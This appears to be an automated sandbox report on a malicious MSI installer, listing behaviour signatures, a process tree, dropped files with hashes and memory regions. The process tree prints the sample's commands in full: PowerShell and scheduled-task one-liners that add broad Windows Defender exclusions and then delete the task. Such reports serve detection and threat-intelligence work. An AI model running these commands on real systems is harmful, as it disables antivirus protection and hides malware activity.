Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 05:07

General

  • Target
    install_s0up008.msi
  • Size 9.8MB
  • Sample260802-fsd9vatsev
  • SHA256 77ed4bae953042b9ece8ef055bc7e7ec860dcca7e3b183f182f26ba8a5c2c617
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up008.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5392
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1196
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding A9D3197AF13011E1E8C4873FDF96690A E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5856
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3036
  • C:\Users\Public\e3P6T8\v5t7lA.exe
    "C:\Users\Public\e3P6T8\v5t7lA.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\e3P6T8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\e3P6T8\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4616
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4740
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2100
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1652
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:936
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4708
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1452
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1940
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4320
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5764
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:2600
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5808
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3372
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5680
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:1856
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5812
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:6032
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3040
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\e3P6T8" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4012
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\e3P6T8" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2724
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5728
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4040
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:1356
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5420
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:3016
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1496
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:6112
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:4692
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:1992

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        e5a98b8.rbs

                                        • Path C:\Config.Msi\e5a98b8.rbs
                                        • Size 7KB
                                        • SHA256 fc08fc456b8104b570f5c8c6336b3b79f04e7d2cdd1e4c7429ceafe269bdb49b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\e3P6T8\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 53b8cad14b92fde661f668a68636ce05ae3fa976b051552b5cc8fba984ae26a1
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\e3P6T8\adoresd.dat
                                        • Size 4.7MB
                                        • SHA256 b251683d4309e6a6772a0a94974e91e056f3076c5765eeedffb8608cc1acd573
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\e3P6T8\msadox.tb
                                        • Size 8KB
                                        • SHA256 19ba67936a46a9ed4804c84ce7adb697e24c2b35c9925cb936191f2204b7b578
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        v5t7lA.exe

                                        • Path C:\Users\Public\e3P6T8\v5t7lA.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        MSIA078.tmp

                                        • Path C:\Windows\Installer\MSIA078.tmp
                                        • Size 9.7MB
                                        • SHA256 c06d8a1fe897fa398c1c5fa72600bb6f471f15a11c7bc43de4e9ff6e52eb7ed1
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        e5a98b7.msi

                                        • Path C:\Windows\Installer\e5a98b7.msi
                                        • Size 9.8MB
                                        • SHA256 77ed4bae953042b9ece8ef055bc7e7ec860dcca7e3b183f182f26ba8a5c2c617
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        metadata-2

                                        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                        • Size 26.1MB
                                        • SHA256 e564fdc0d7b18705f0c9224e59738b5a666628c07ff3161ea49457c68c1dbb26
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        {ef1f4f35-f89a-4b8b-a455-82c68e977515}_OnDiskSnapshotProp

                                        • Path \??\Volume{ca73a981-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{ef1f4f35-f89a-4b8b-a455-82c68e977515}_OnDiskSnapshotProp
                                        • Size 6KB
                                        • SHA256 03b1827e5cbe53334ef788ba2b31951296fab09302a43e3146f40c1dc18b169e
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/4608-106-0x00000260B28E0000-0x00000260B28FE000-memory.dmp

                                        memory/4608-103-0x00000260B2880000-0x00000260B28A2000-memory.dmp

                                        memory/4608-107-0x00000260B2B50000-0x00000260B2C02000-memory.dmp

                                        memory/4608-108-0x00000260B2900000-0x00000260B290A000-memory.dmp

                                        memory/4804-70-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-92-0x00000196684C0000-0x000001966854A000-memory.dmp

                                        memory/4804-67-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-61-0x00007FFDDEB90000-0x00007FFDDEB92000-memory.dmp

                                        memory/4804-69-0x00007FFDDEBA0000-0x00007FFDDEBA2000-memory.dmp

                                        memory/4804-74-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-76-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-75-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-77-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-87-0x0000019667100000-0x000001966714E000-memory.dmp

                                        memory/4804-91-0x00000196684C0000-0x000001966854A000-memory.dmp

                                        memory/4804-62-0x00007FFDBB140000-0x00007FFDBB65E000-memory.dmp

                                        memory/4804-90-0x00000196684C0000-0x000001966854A000-memory.dmp

                                        memory/4804-89-0x00000196684C0000-0x000001966854A000-memory.dmp

                                        memory/4804-81-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-94-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/4804-96-0x0000019667B90000-0x0000019668421000-memory.dmp

                                        memory/5856-47-0x00007FFDC8F10000-0x00007FFDC8F22000-memory.dmp

                                        memory/5856-16-0x00007FFDC8F10000-0x00007FFDC8F22000-memory.dmp

                                        memory/5856-13-0x00007FFDBAFF0000-0x00007FFDBB657000-memory.dmp

                                        memory/5856-12-0x00007FFDDEB90000-0x00007FFDDEB92000-memory.dmp